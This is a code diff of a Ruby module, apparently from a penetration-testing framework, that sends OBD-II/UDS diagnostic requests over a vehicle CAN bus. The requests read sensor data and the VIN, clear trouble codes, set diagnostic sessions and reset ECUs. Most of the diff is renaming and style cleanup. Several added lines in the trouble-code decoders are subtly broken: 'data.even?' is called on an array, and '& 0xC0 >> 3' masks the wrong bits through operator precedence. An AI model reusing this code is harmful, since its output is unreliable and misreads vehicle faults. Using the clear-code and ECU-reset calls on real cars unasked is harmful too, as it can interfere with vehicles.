# @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response
|
||||
#
|
||||
# @return [Hash] client.automotive response
|
||||
def get_current_data(bus, srcId, dstId, pid, opt={})
|
||||
if not client.automotive
|
||||
def get_current_data(bus, src_id, dst_id, pid, opt = {})
|
||||
unless client.automotive
|
||||
print_error("Not an automotive hwbridge session")
|
||||
return {}
|
||||
end
|
||||
srcId = srcId.to_s(16)
|
||||
dstId = dstId.to_s(16)
|
||||
bus = client.automotive.active_bus if not bus
|
||||
if not bus
|
||||
src_id = src_id.to_s(16)
|
||||
dst_id = dst_id.to_s(16)
|
||||
bus = client.automotive.active_bus unless bus
|
||||
unless bus
|
||||
print_line("No active bus, use 'connect' or specify bus via the options")
|
||||
return {}
|
||||
end
|
||||
client.automotive.send_isotp_and_wait_for_response(bus,srcId, dstId, [0x01, pid], opt)
|
||||
client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x01, pid], opt)
|
||||
end
|
||||
|
||||
#
|
||||
# Get all supported pids for current data
|
||||
#
|
||||
# @param bus [String] unique CAN bus identifier
|
||||
# @param srcId [Integer] Integer representation of the Sending CAN ID
|
||||
# @param dstId [Integer] Integer representation of the receiving CAN ID
|
||||
# @param src_id [Integer] Integer representation of the Sending CAN ID
|
||||
# @param dst_id [Integer] Integer representation of the receiving CAN ID
|
||||
#
|
||||
# @return [Array] All supported pids from Mode $01 get current data
|
||||
def get_current_data_pids(bus, srcId, dstId)
|
||||
def get_current_data_pids(bus, src_id, dst_id)
|
||||
pids = []
|
||||
packets = get_current_data(bus, srcId, dstId, 0, {"MAXPKTS" => 1})
|
||||
return pids if packets == nil
|
||||
if packets.has_key? "Packets" and packets["Packets"].size > 0
|
||||
hexpids = packets["Packets"][0]["DATA"][3,6]
|
||||
packets = get_current_data(bus, src_id, dst_id, 0, { "MAXPKTS" => 1 })
|
||||
return pids if packets.nil?
|
||||
if (packets.key? "Packets") && !packets["Packets"].empty?
|
||||
hexpids = packets["Packets"][0]["DATA"][3, 6]
|
||||
hexpids = hexpids.join.hex.to_s(2).rjust(32, '0').split('') # Array of 1s and 0s
|
||||
(1..0x20).each do |pid|
|
||||
pids << pid if hexpids[pid-1] == "1"
|
||||
end
|
||||
end
|
||||
if pids.include? 0x20
|
||||
packets = get_current_data(bus, srcId, dstId, 0x20, {"MAXPKTS" => 1})
|
||||
if packets.has_key? "Packets" and packets["Packets"].size > 0
|
||||
hexpids = packets["Packets"][0]["DATA"][3,6]
|
||||
packets = get_current_data(bus, src_id, dst_id, 0x20, { "MAXPKTS" => 1 })
|
||||
if (packets.key? "Packets") && !packets["Packets"].empty?
|
||||
hexpids = packets["Packets"][0]["DATA"][3, 6]
|
||||
hexpids = hexpids.join.hex.to_s(2).rjust(32, '0').split('') # Array of 1s and 0s
|
||||
(0x20..0x40).each do |pid|
|
||||
pids << pid if hexpids[pid-0x21] == "1"
|
||||
|
@ -123,9 +124,9 @@ module UDS
|
|||
end
|
||||
end
|
||||
if pids.include? 0x40
|
||||
packets = get_current_data(bus, srcId, dstId, 0x40, {"MAXPKTS" => 1})
|
||||
if packets.has_key? "Packets" and packets["Packets"].size > 0
|
||||
hexpids = packets["Packets"][0]["DATA"][3,6]
|
||||
packets = get_current_data(bus, src_id, dst_id, 0x40, { "MAXPKTS" => 1 })
|
||||
if (packets.key? "Packets") && !packets["Packets"].empty?
|
||||
hexpids = packets["Packets"][0]["DATA"][3, 6]
|
||||
hexpids = hexpids.join.hex.to_s(2).rjust(32, '0').split('') # Array of 1s and 0s
|
||||
(0x40..0x60).each do |pid|
|
||||
pids << pid if hexpids[pid-0x41] == "1"
|
||||
|
@ -133,9 +134,9 @@ module UDS
|
|||
end
|
||||
end
|
||||
if pids.include? 0x60
|
||||
packets = get_current_data(bus, srcId, dstId, 0x60, {"MAXPKTS" => 1})
|
||||
if packets.has_key? "Packets" and packets["Packets"].size > 0
|
||||
hexpids = packets["Packets"][0]["DATA"][3,6]
|
||||
packets = get_current_data(bus, src_id, dst_id, 0x60, { "MAXPKTS" => 1 })
|
||||
if (packets.key? "Packets") && !packets["Packets"].empty?
|
||||
hexpids = packets["Packets"][0]["DATA"][3, 6]
|
||||
hexpids = hexpids.join.hex.to_s(2).rjust(32, '0').split('') # Array of 1s and 0s
|
||||
(0x60..0x80).each do |pid|
|
||||
pids << pid if hexpids[pid-0x61] == "1"
|
||||
|
@ -143,9 +144,9 @@ module UDS
|
|||
end
|
||||
end
|
||||
if pids.include? 0x80
|
||||
packets = get_current_data(bus, srcId, dstId, 0x80, {"MAXPKTS" => 1})
|
||||
if packets.has_key? "Packets" and packets["Packets"].size > 0
|
||||
hexpids = packets["Packets"][0]["DATA"][3,6]
|
||||
packets = get_current_data(bus, src_id, dst_id, 0x80, { "MAXPKTS" => 1 })
|
||||
if (packets.key? "Packets") && !packets["Packets"].empty?
|
||||
hexpids = packets["Packets"][0]["DATA"][3, 6]
|
||||
hexpids = hexpids.join.hex.to_s(2).rjust(32, '0').split('') # Array of 1s and 0s
|
||||
(0x80..0xA0).each do |pid|
|
||||
pids << pid if hexpids[pid-0x81] == "1"
|
||||
|
@ -153,9 +154,9 @@ module UDS
|
|||
end
|
||||
end
|
||||
if pids.include? 0xA0
|
||||
packets = get_current_data(bus, srcId, dstId, 0xA0, {"MAXPKTS" => 1})
|
||||
if packets.has_key? "Packets" and packets["Packets"].size > 0
|
||||
hexpids = packets["Packets"][0]["DATA"][3,6]
|
||||
packets = get_current_data(bus, src_id, dst_id, 0xA0, { "MAXPKTS" => 1 })
|
||||
if (packets.key? "Packets") && !packets["Packets"].empty?
|
||||
hexpids = packets["Packets"][0]["DATA"][3, 6]
|
||||
hexpids = hexpids.join.hex.to_s(2).rjust(32, '0').split('') # Array of 1s and 0s
|
||||
(0xA0..0xC0).each do |pid|
|
||||
pids << pid if hexpids[pid-0xA1] == "1"
|
||||
|
@ -163,12 +164,12 @@ module UDS
|
|||
end
|
||||
end
|
||||
if pids.include? 0xC0
|
||||
packets = get_current_data(bus, srcId, dstId, 0xC0, {"MAXPKTS" => 1})
|
||||
if packets.has_key? "Packets" and packets["Packets"].size > 0
|
||||
hexpids = packets["Packets"][0]["DATA"][3,6]
|
||||
packets = get_current_data(bus, src_id, dst_id, 0xC0, { "MAXPKTS" => 1 })
|
||||
if (packets.key? "Packets") && !packets["Packets"].empty?
|
||||
hexpids = packets["Packets"][0]["DATA"][3, 6]
|
||||
hexpids = hexpids.join.hex.to_s(2).rjust(32, '0').split('') # Array of 1s and 0s
|
||||
(0xC0..0xE0).each do |pid|
|
||||
pids << pid if hexpids[pid-0xC1] == "1"
|
||||
pids << pid if hexpids[pid - 0xC1] == "1"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -179,15 +180,15 @@ module UDS
|
|||
# Mode $01 Pid $01 gets and parses the monitor status
|
||||
#
|
||||
# @param bus [String] unique CAN bus identifier
|
||||
# @param srcId [Integer] Integer representation of the Sending CAN ID
|
||||
# @param dstId [Integer] Integer representation of the receiving CAN ID
|
||||
# @param src_id [Integer] Integer representation of the Sending CAN ID
|
||||
# @param dst_id [Integer] Integer representation of the receiving CAN ID
|
||||
#
|
||||
# @return [Hash] Packet Hash with { "MIL" => true|false "DTC_COUNT" => 0 }
|
||||
def get_monitor_status(bus, srcId, dstId)
|
||||
packets = get_current_data(bus, srcId, dstId, 0x01, {"MAXPKTS" => 1})
|
||||
return {} if packets == nil
|
||||
return packets if packets.has_key? "error"
|
||||
return packets if not packets.has_key? "Packets"
|
||||
def get_monitor_status(bus, src_id, dst_id)
|
||||
packets = get_current_data(bus, src_id, dst_id, 0x01, { "MAXPKTS" => 1 })
|
||||
return {} if packets.nil?
|
||||
return packets if packets.key? "error"
|
||||
return packets unless packets.key? "Packets"
|
||||
packets["MIL"] = packets["Packets"][0]["DATA"][3].hex & 0xB0 == 1 ? true : false
|
||||
packets["DTC_COUNT"] = packets["Packets"][0]["DATA"][3].hex & 0x7F
|
||||
packets
|
||||
|
@ -197,17 +198,17 @@ module UDS
|
|||
# Gets the engine coolant temprature in both Celcious and Fahrenheit
|
||||
#
|
||||
# @param bus [String] unique CAN bus identifier
|
||||
# @param srcId [Integer] Integer representation of the Sending CAN ID
|
||||
# @param dstId [Integer] Integer representation of the receiving CAN ID
|
||||
# @param src_id [Integer] Integer representation of the Sending CAN ID
|
||||
# @param dst_id [Integer] Integer representation of the receiving CAN ID
|
||||
#
|
||||
# @return [Hash] Packet Hash with { "TEMP_C" => <Celcious Temp>, "TEMP_F" => <Fahrenheit TEmp> }
|
||||
def get_engine_coolant_temp(bus, srcId, dstId)
|
||||
packets = get_current_data(bus, srcId, dstId, 0x05, {"MAXPKTS" => 1})
|
||||
return {} if packets == nil
|
||||
return packets if packets.has_key? "error"
|
||||
return packets if not packets.has_key? "Packets"
|
||||
def get_engine_coolant_temp(bus, src_id, dst_id)
|
||||
packets = get_current_data(bus, src_id, dst_id, 0x05, { "MAXPKTS" => 1 })
|
||||
return {} if packets.nil?
|
||||
return packets if packets.key? "error"
|
||||
return packets unless packets.key? "Packets"
|
||||
celsius = packets["Packets"][0]["DATA"][3].hex - 40
|
||||
fahrenheit = celsius * 9/5 + 32
|
||||
fahrenheit = celsius * 9 / 5 + 32
|
||||
packets["TEMP_C"] = celsius
|
||||
packets["TEMP_F"] = fahrenheit
|
||||
packets
|
||||
|
@ -217,15 +218,15 @@ module UDS
|
|||
# Gets the engine's current RPMs
|
||||
#
|
||||
# @param bus [String] unique CAN bus identifier
|
||||
# @param srcId [Integer] Integer representation of the Sending CAN ID
|
||||
# @param dstId [Integer] Integer representation of the receiving CAN ID
|
||||
# @param src_id [Integer] Integer representation of the Sending CAN ID
|
||||
# @param dst_id [Integer] Integer representation of the receiving CAN ID
|
||||
#
|
||||
# @return [Hash] Packet Hash with { "RPM" => <RPMs> }
|
||||
def get_rpms(bus, srcId, dstId)
|
||||
packets = get_current_data(bus, srcId, dstId, 0x0C, {"MAXPKTS" => 1})
|
||||
return {} if packets == nil
|
||||
return packets if packets.has_key? "error"
|
||||
return packets if not packets.has_key? "Packets"
|
||||
def get_rpms(bus, src_id, dst_id)
|
||||
packets = get_current_data(bus, src_id, dst_id, 0x0C, { "MAXPKTS" => 1 })
|
||||
return {} if packets.nil?
|
||||
return packets if packets.key? "error"
|
||||
return packets unless packets.key? "Packets"
|
||||
packets["RPM"] = (256 * packets["Packets"][0]["DATA"][3].hex + packets["Packets"][0]["DATA"][4].hex) / 4
|
||||
packets
|
||||
end
|
||||
|
@ -234,15 +235,15 @@ module UDS
|
|||
# Gets the engine's current vehicle speed in km/h and mph
|
||||
#
|
||||
# @param bus [String] unique CAN bus identifier
|
||||
# @param srcId [Integer] Integer representation of the Sending CAN ID
|
||||
# @param dstId [Integer] Integer representation of the receiving CAN ID
|
||||
# @param src_id [Integer] Integer representation of the Sending CAN ID
|
||||
# @param dst_id [Integer] Integer representation of the receiving CAN ID
|
||||
#
|
||||
# @return [Hash] Packet Hash with { "SPEED_K" => <km/h>, "SPEED_M" => <mph> }
|
||||
def get_vehicle_speed(bus, srcId, dstId)
|
||||
packets = get_current_data(bus, srcId, dstId, 0x0D, {"MAXPKTS" => 1})
|
||||
return {} if packets == nil
|
||||
return packets if packets.has_key? "error"
|
||||
return packets if not packets.has_key? "Packets"
|
||||
def get_vehicle_speed(bus, src_id, dst_id)
|
||||
packets = get_current_data(bus, src_id, dst_id, 0x0D, { "MAXPKTS" => 1 })
|
||||
return {} if packets.nil?
|
||||
return packets if packets.key? "error"
|
||||
return packets unless packets.key? "Packets"
|
||||
packets["SPEED_K"] = packets["Packets"][0]["DATA"][3].hex
|
||||
packets["SPEED_M"] = packets["SPEED_K"] / 1.609344
|
||||
packets
|
||||
|
@ -253,18 +254,18 @@ module UDS
|
|||
# but currently creates a human readable string instead. This may change in the future.
|
||||
#
|
||||
# @param bus [String] unique CAN bus identifier
|
||||
# @param srcId [Integer] Integer representation of the Sending CAN ID
|
||||
# @param dstId [Integer] Integer representation of the receiving CAN ID
|
||||
# @param src_id [Integer] Integer representation of the Sending CAN ID
|
||||
# @param dst_id [Integer] Integer representation of the receiving CAN ID
|
||||
#
|
||||
# @return [String] Description of standard
|
||||
def get_obd_standards(bus, srcId, dstId)
|
||||
packets = get_current_data(bus, srcId, dstId, 0x1C, {"MAXPKTS" => 1})
|
||||
return "" if packets == nil
|
||||
if packets.has_key? "error"
|
||||
print_error("OBD ERR: #{packets["error"]}")
|
||||
def get_obd_standards(bus, src_id, dst_id)
|
||||
packets = get_current_data(bus, src_id, dst_id, 0x1C, { "MAXPKTS" => 1 })
|
||||
return "" if packets.nil?
|
||||
if packets.key? "error"
|
||||
print_error("OBD ERR: #{packets['error']}")
|
||||
return ""
|
||||
end
|
||||
return "" if not packets.has_key? "Packets"
|
||||
return "" unless packets.key? "Packets"
|
||||
case packets["Packets"][0]["DATA"][3].hex
|
||||
when 1
|
||||
return "OBD-II as defined by CARB"
|
||||
|
@ -322,10 +323,10 @@ module UDS
|
|||
return "India OBD II (IOBD II)"
|
||||
when 33
|
||||
return "Heavy Duty Euro OBD Stage VI (HD EOBD-IV)"
|
||||
when 14..16,22,27,34..250
|
||||
when 14..16, 22, 27, 34..250
|
||||
return "Reserved"
|
||||
end
|
||||
return "SAE J1939 Special Meanings"
|
||||
"SAE J1939 Special Meanings"
|
||||
end
|
||||
|
||||
### Mode $02 ###
|
||||
|
@ -335,28 +336,28 @@ module UDS
|
|||
# #get_current_data_pids. You must specify which freeze frame you want to recall data from.
|
||||
#
|
||||
# @param bus [String] unique CAN bus identifier
|
||||
# @param srcId [Integer] Integer representation of the Sending CAN ID
|
||||
# @param dstId [Integer] Integer representation of the receiving CAN ID
|
||||
# @param src_id [Integer] Integer representation of the Sending CAN ID
|
||||
# @param dst_id [Integer] Integer representation of the receiving CAN ID
|
||||
# @param pid [Integer] Integer of the PID to get data about
|
||||
# @param frame [Integer] Freeze Frame Number
|
||||
# @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response
|
||||
#
|
||||
# @return [Hash] client.automotive response
|
||||
def get_freeze_frame_data(bus, srcId, dstId, pid, frame, opt={})
|
||||
if not client.automotive
|
||||
def get_freeze_frame_data(bus, src_id, dst_id, pid, frame, opt = {})
|
||||
unless client.automotive
|
||||
print_error("Not an automotive hwbridge session")
|
||||
return {}
|
||||
end
|
||||
srcId = srcId.to_s(16)
|
||||
dstId = dstId.to_s(16)
|
||||
bus = client.automotive.active_bus if not bus
|
||||
src_id = src_id.to_s(16)
|
||||
dst_id = dst_id.to_s(16)
|
||||
bus = client.automotive.active_bus unless bus
|
||||
pid = pid.to_s(16)
|
||||
frame = frame.to_s(16)
|
||||
if not bus
|
||||
unless bus
|
||||
print_line("No active bus, use 'connect' or specify bus via the options")
|
||||
return {}
|
||||
end
|
||||
client.automotive.send_isotp_and_wait_for_response(bus,srcId, dstId, [0x02, pid, frame], opt)
|
||||
client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x02, pid, frame], opt)
|
||||
end
|
||||
|
||||
### Mode $03 ###
|
||||
|
@ -365,37 +366,37 @@ module UDS
|
|||
# Retrieves the Diagnostic Trouble Codes (DTCs)
|
||||
#
|
||||
# @param bus [String] unique CAN bus identifier
|
||||
# @param srcId [Integer] Integer representation of the Sending CAN ID
|
||||
# @param dstId [Integer] Integer representation of the receiving CAN ID
|
||||
# @param src_id [Integer] Integer representation of the Sending CAN ID
|
||||
# @param dst_id [Integer] Integer representation of the receiving CAN ID
|
||||
# @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response
|
||||
# @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response
|
||||
#
|
||||
# @return [Array] Array of DTCs
|
||||
def get_dtcs(bus, srcId, dstId, opt={})
|
||||
def get_dtcs(bus, src_id, dst_id, opt = {})
|
||||
dtcs = []
|
||||
if not client.automotive
|
||||
unless client.automotive
|
||||
print_error("Not an automotive hwbridge session")
|
||||
return {}
|
||||
end
|
||||
srcId = srcId.to_s(16)
|
||||
dstId = dstId.to_s(16)
|
||||
bus = client.automotive.active_bus if not bus
|
||||
if not bus
|
||||
src_id = src_id.to_s(16)
|
||||
dst_id = dst_id.to_s(16)
|
||||
bus = client.automotive.active_bus unless bus
|
||||
unless bus
|
||||
print_line("No active bus, use 'connect' or specify bus via the options")
|
||||
return {}
|
||||
end
|
||||
data = client.automotive.send_isotp_and_wait_for_response(bus,srcId, dstId, [0x03], opt)
|
||||
return [] if data == nil
|
||||
if data.has_key? "error"
|
||||
print_error("UDS ERR: #{data["error"]}")
|
||||
data = client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x03], opt)
|
||||
return [] if data.nil?
|
||||
if data.key? "error"
|
||||
print_error("UDS ERR: #{data['error']}")
|
||||
return []
|
||||
end
|
||||
if data.has_key? "Packets" and data["Packets"].size > 0
|
||||
data = response_hash_to_data_array(dstId, data)
|
||||
if data.size > 0 and data.size % 2 == 0
|
||||
(0..data.size).step(2) do |idx|
|
||||
if (data.key? "Packets") && !data["Packets"].empty?
|
||||
data = response_hash_to_data_array(dst_id, data, 4)
|
||||
if !data.empty? && data.even?
|
||||
(0..data.size / 2).step(2) do |idx|
|
||||
code = ""
|
||||
case data[idx].hex & 0xC0
|
||||
case data[idx].hex & 0xC0 >> 3
|
||||
when 0
|
||||
code = "P"
|
||||
when 1
|
||||
|
@ -405,8 +406,8 @@ module UDS
|
|||
when 3
|
||||
code = "U"
|
||||
end
|
||||
code += (data[idx].hex & 0x3F).to_s(16)
|
||||
code += data[idx+1]
|
||||
code += (data[idx].hex & 0x3F).to_s(16).rjust(2, '0')
|
||||
code += data[idx + 1]
|
||||
dtcs << code
|
||||
end
|
||||
end
|
||||
|
@ -420,25 +421,80 @@ module UDS
|
|||
# Clears the DTCs and Resets the MIL light back to the off position
|
||||
#
|
||||
# @param bus [String] unique CAN bus identifier
|
||||
# @param srcId [Integer] Integer representation of the Sending CAN ID
|
||||
# @param dstId [Integer] Integer representation of the receiving CAN ID
|
||||
# @param src_id [Integer] Integer representation of the Sending CAN ID
|
||||
# @param dst_id [Integer] Integer representation of the receiving CAN ID
|
||||
# @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response
|
||||
# @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response
|
||||
#
|
||||
# @return [Hash] No packets are expected to return but an error could be returned
|
||||
def clear_dtcs(bus, srcId, dstId, opt={})
|
||||
if not client.automotive
|
||||
def clear_dtcs(bus, src_id, dst_id, opt = {})
|
||||
unless client.automotive
|
||||
print_error("Not an automotive hwbridge session")
|
||||
return {}
|
||||
end
|
||||
srcId = srcId.to_s(16)
|
||||
dstId = dstId.to_s(16)
|
||||
bus = client.automotive.active_bus if not bus
|
||||
if not bus
|
||||
src_id = src_id.to_s(16)
|
||||
dst_id = dst_id.to_s(16)
|
||||
bus = client.automotive.active_bus unless bus
|
||||
unless bus
|
||||
print_line("No active bus, use 'connect' or specify bus via the options")
|
||||
return {}
|
||||
end
|
||||
client.automotive.send_isotp_and_wait_for_response(bus,srcId, dstId, [0x04], opt)
|
||||
client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x04], opt)
|
||||
end
|
||||
|
||||
### Mode $07 ###
|
||||
|
||||
#
|
||||
# Retrieves the Frozen Diagnostic Trouble Codes (DTCs)
|
||||
#
|
||||
# @param bus [String] unique CAN bus identifier
|
||||
# @param src_id [Integer] Integer representation of the Sending CAN ID
|
||||
# @param dst_id [Integer] Integer representation of the receiving CAN ID
|
||||
# @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response
|
||||
# @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response
|
||||
#
|
||||
# @return [Array] Array of DTCs
|
||||
def get_frozen_dtcs(bus, src_id, dst_id, opt = {})
|
||||
dtcs = []
|
||||
unless client.automotive
|
||||
print_error("Not an automotive hwbridge session")
|
||||
return {}
|
||||
end
|
||||
src_id = src_id.to_s(16)
|
||||
dst_id = dst_id.to_s(16)
|
||||
bus = client.automotive.active_bus unless bus
|
||||
unless bus
|
||||
print_line("No active bus, use 'connect' or specify bus via the options")
|
||||
return {}
|
||||
end
|
||||
data = client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x07], opt)
|
||||
return [] if data.nil?
|
||||
if data.key? "error"
|
||||
print_error("UDS ERR: #{data['error']}")
|
||||
return []
|
||||
end
|
||||
if (data.key? "Packets") && !data["Packets"].empty?
|
||||
data = response_hash_to_data_array(dst_id, data, 4)
|
||||
if !data.empty? && data.size.even?
|
||||
(0..data.size / 2).step(2) do |idx|
|
||||
code = ""
|
||||
case data[idx].hex & 0xC0 >> 3
|
||||
when 0
|
||||
code = "P"
|
||||
when 1
|
||||
code = "C"
|
||||
when 2
|
||||
code = "B"
|
||||
when 3
|
||||
code = "U"
|
||||
end
|
||||
code += (data[idx].hex & 0x3F).to_s(16).rjust(2, '0')
|
||||
code += data[idx + 1]
|
||||
dtcs << code
|
||||
end
|
||||
end
|
||||
end
|
||||
dtcs
|
||||
end
|
||||
|
||||
### Mode $09 ###
|
||||
|
@ -448,25 +504,25 @@ module UDS
|
|||
# No formatting is done on the response
|
||||
#
|
||||
# @param bus [String] unique CAN bus identifier
|
||||
# @param srcId [Integer] Integer representation of the Sending CAN ID
|
||||
# @param dstId [Integer] Integer representation of the receiving CAN ID
|
||||
# @param src_id [Integer] Integer representation of the Sending CAN ID
|
||||
# @param dst_id [Integer] Integer representation of the receiving CAN ID
|
||||
# @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response
|
||||
#
|
||||
# @return [Hash] client.automotive response
|
||||
def get_vehicle_info(bus, srcId, dstId, mode, opt={})
|
||||
if not client.automotive
|
||||
def get_vehicle_info(bus, src_id, dst_id, mode, opt = {})
|
||||
unless client.automotive
|
||||
print_error("Not an automotive hwbridge session")
|
||||
return {}
|
||||
end
|
||||
srcId = srcId.to_s(16)
|
||||
dstId = dstId.to_s(16)
|
||||
bus = client.automotive.active_bus if not bus
|
||||
src_id = src_id.to_s(16)
|
||||
dst_id = dst_id.to_s(16)
|
||||
bus = client.automotive.active_bus unless bus
|
||||
mode = mode.to_s(16)
|
||||
if not bus
|
||||
unless bus
|
||||
print_line("No active bus, use 'connect' or specify bus via the options")
|
||||
return {}
|
||||
end
|
||||
client.automotive.send_isotp_and_wait_for_response(bus,srcId, dstId, [0x09, mode], opt)
|
||||
client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x09, mode], opt)
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -474,19 +530,23 @@ module UDS
|
|||
# Returns them as an array of ints
|
||||
#
|
||||
# @param bus [String] unique CAN bus identifier
|
||||
# @param srcId [Integer] Integer representation of the Sending CAN ID
|
||||
# @param dstId [Integer] Integer representation of the receiving CAN ID
|
||||
# @param src_id [Integer] Integer representation of the Sending CAN ID
|
||||
# @param dst_id [Integer] Integer representation of the receiving CAN ID
|
||||
#
|
||||
# @return [Array] Array of PIDS supported by Mode $09
|
||||
def get_vinfo_supported_pids(bus, srcId, dstId)
|
||||
def get_vinfo_supported_pids(bus, src_id, dst_id)
|
||||
pids = []
|
||||
packets = get_vehicle_info(bus, srcId, dstId, 0, {"MAXPKTS" => 1})
|
||||
return pids if packets == nil
|
||||
if packets.has_key? "Packets" and packets["Packets"].size > 0
|
||||
hexpids = packets["Packets"][0]["DATA"][3,6]
|
||||
packets = get_vehicle_info(bus, src_id, dst_id, 0, { "MAXPKTS" => 1 })
|
||||
return pids if packets.nil?
|
||||
if (packets.key? "Packets") && !packets["Packets"].empty?
|
||||
unless packets["Packets"][0]["DATA"][1].hex == 0x49
|
||||
print_error("ECU Did not return a valid response")
|
||||
return []
|
||||
end
|
||||
hexpids = packets["Packets"][0]["DATA"][3, 6]
|
||||
hexpids = hexpids.join.hex.to_s(2).rjust(32, '0').split('') # Array of 1s and 0s
|
||||
(1..20).each do |pid|
|
||||
pids << pid if hexpids[pid-1] == "1"
|
||||
pids << pid if hexpids[pid - 1] == "1"
|
||||
end
|
||||
end
|
||||
pids
|
||||
|
@ -496,16 +556,16 @@ module UDS
|
|||
# Requests a VIN and formats the response as ASCII
|
||||
#
|
||||
# @param bus [String] unique CAN bus identifier
|
||||
# @param srcId [Integer] Integer representation of the Sending CAN ID
|
||||
# @param dstId [Integer] Integer representation of the receiving CAN ID
|
||||
# @param src_id [Integer] Integer representation of the Sending CAN ID
|
||||
# @param dst_id [Integer] Integer representation of the receiving CAN ID
|
||||
#
|
||||
# @return [String] VIN as ASCII
|
||||
def get_vin(bus, srcId, dstId)
|
||||
packets = get_vehicle_info(bus, srcId, dstId, 0x02)
|
||||
return "" if packets == nil
|
||||
return "UDS ERR: #{packets["error"]}" if packets.has_key? "error"
|
||||
data = response_hash_to_data_array(dstId.to_s(16), packets)
|
||||
return "" if data == nil
|
||||
def get_vin(bus, src_id, dst_id)
|
||||
packets = get_vehicle_info(bus, src_id, dst_id, 0x02)
|
||||
return "" if packets.nil?
|
||||
return "UDS ERR: #{packets['error']}" if packets.key? "error"
|
||||
data = response_hash_to_data_array(dst_id.to_s(16), packets)
|
||||
return "" if data.nil?
|
||||
data.map! { |d| d.hex.chr }
|
||||
data.join
|
||||
end
|
||||
|
@ -513,16 +573,16 @@ module UDS
|
|||
# Gets the vehicle calibration ID and returns it as an ASCII string
|
||||
#
|
||||
# @param bus [String] unique CAN bus identifier
|
||||
# @param srcId [Integer] Integer representation of the Sending CAN ID
|
||||
# @param dstId [Integer] Integer representation of the receiving CAN ID
|
||||
# @param src_id [Integer] Integer representation of the Sending CAN ID
|
||||
# @param dst_id [Integer] Integer representation of the receiving CAN ID
|
||||
#
|
||||
# @return [String] Calibration ID as ASCII
|
||||
def get_calibration_id(bus, srcId, dstId)
|
||||
packets = get_vehicle_info(bus, srcId, dstId, 0x04)
|
||||
return "" if packets == nil
|
||||
return "UDS ERR: #{packets["error"]}" if packets.has_key? "error"
|
||||
data = response_hash_to_data_array(dstId.to_s(16), packets)
|
||||
return "" if data == nil
|
||||
def get_calibration_id(bus, src_id, dst_id)
|
||||
packets = get_vehicle_info(bus, src_id, dst_id, 0x04)
|
||||
return "" if packets.nil?
|
||||
return "UDS ERR: #{packets['error']}" if packets.key? "error"
|
||||
data = response_hash_to_data_array(dst_id.to_s(16), packets)
|
||||
return "" if data.nil?
|
||||
data.map! { |d| d.hex.chr }
|
||||
data.join
|
||||
end
|
||||
|
@ -530,16 +590,16 @@ module UDS
|
|||
# Get the vehicles ECU name pid 0x0A
|
||||
#
|
||||
# @param bus [String] unique CAN bus identifier
|
||||
# @param srcId [Integer] Integer representation of the Sending CAN ID
|
||||
# @param dstId [Integer] Integer representation of the receiving CAN ID
|
||||
# @param src_id [Integer] Integer representation of the Sending CAN ID
|
||||
# @param dst_id [Integer] Integer representation of the receiving CAN ID
|
||||
#
|
||||
# @return [String] ECU Name as ASCII
|
||||
def get_ecu_name(bus, srcId, dstId)
|
||||
packets = get_vehicle_info(bus, srcId, dstId, 0x0A)
|
||||
return "" if packets == nil
|
||||
return "UDS ERR: #{packets["error"]}" if packets.has_key? "error"
|
||||
data = response_hash_to_data_array(dstId.to_s(16), packets)
|
||||
return "" if data == nil
|
||||
def get_ecu_name(bus, src_id, dst_id)
|
||||
packets = get_vehicle_info(bus, src_id, dst_id, 0x0A)
|
||||
return "" if packets.nil?
|
||||
return "UDS ERR: #{packets['error']}" if packets.key? "error"
|
||||
data = response_hash_to_data_array(dst_id.to_s(16), packets)
|
||||
return "" if data.nil?
|
||||
data.map! { |d| d.hex.chr }
|
||||
data.join
|
||||
end
|
||||
|
@ -553,28 +613,28 @@ module UDS
|
|||
# Set the diagnostic session code
|
||||
#
|
||||
# @param bus [String] unique CAN bus identifier
|
||||
# @param srcId [Integer] Integer representation of the Sending CAN ID
|
||||
# @param dstId [Integer] Integer representation of the receiving CAN ID
|
||||
# @param src_id [Integer] Integer representation of the Sending CAN ID
|
||||
# @param dst_id [Integer] Integer representation of the receiving CAN ID
|
||||
# @param level [Integer] The desired DSC level
|
||||
#
|
||||
# @return [Hash] client.automtoive response
|
||||
def set_dsc(bus, srcId, dstId, level)
|
||||
if not client.automotive
|
||||
def set_dsc(bus, src_id, dst_id, level)
|
||||
unless client.automotive
|
||||
print_error("Not an automotive hwbridge session")
|
||||
return {}
|
||||
end
|
||||
level = level.to_s(16)
|
||||
srcId = srcId.to_s(16)
|
||||
dstId = dstId.to_s(16)
|
||||
bus = client.automotive.active_bus if not bus
|
||||
if not bus
|
||||
src_id = src_id.to_s(16)
|
||||
dst_id = dst_id.to_s(16)
|
||||
bus = client.automotive.active_bus unless bus
|
||||
unless bus
|
||||
print_line("No active bus, use 'connect' or specify bus via the options")
|
||||
return {}
|
||||
end
|
||||
opt = {}
|
||||
opt["TIMEOUT"]=20
|
||||
opt["MAXPKTS"]=1
|
||||
client.automotive.send_isotp_and_wait_for_response(bus,srcId, dstId, [0x10, level], opt)
|
||||
opt["TIMEOUT"] = 20
|
||||
opt["MAXPKTS"] = 1
|
||||
client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x10, level], opt)
|
||||
end
|
||||
|
||||
### Mode $11 ###
|
||||
|
@ -583,26 +643,26 @@ module UDS
|
|||
# Issues a reset of the ECU
|
||||
#
|
||||
# @param bus [String] unique CAN bus identifier
|
||||
# @param srcId [Integer] Integer representation of the Sending CAN ID
|
||||
# @param dstId [Integer] Integer representation of the receiving CAN ID
|
||||
# @param src_id [Integer] Integer representation of the Sending CAN ID
|
||||
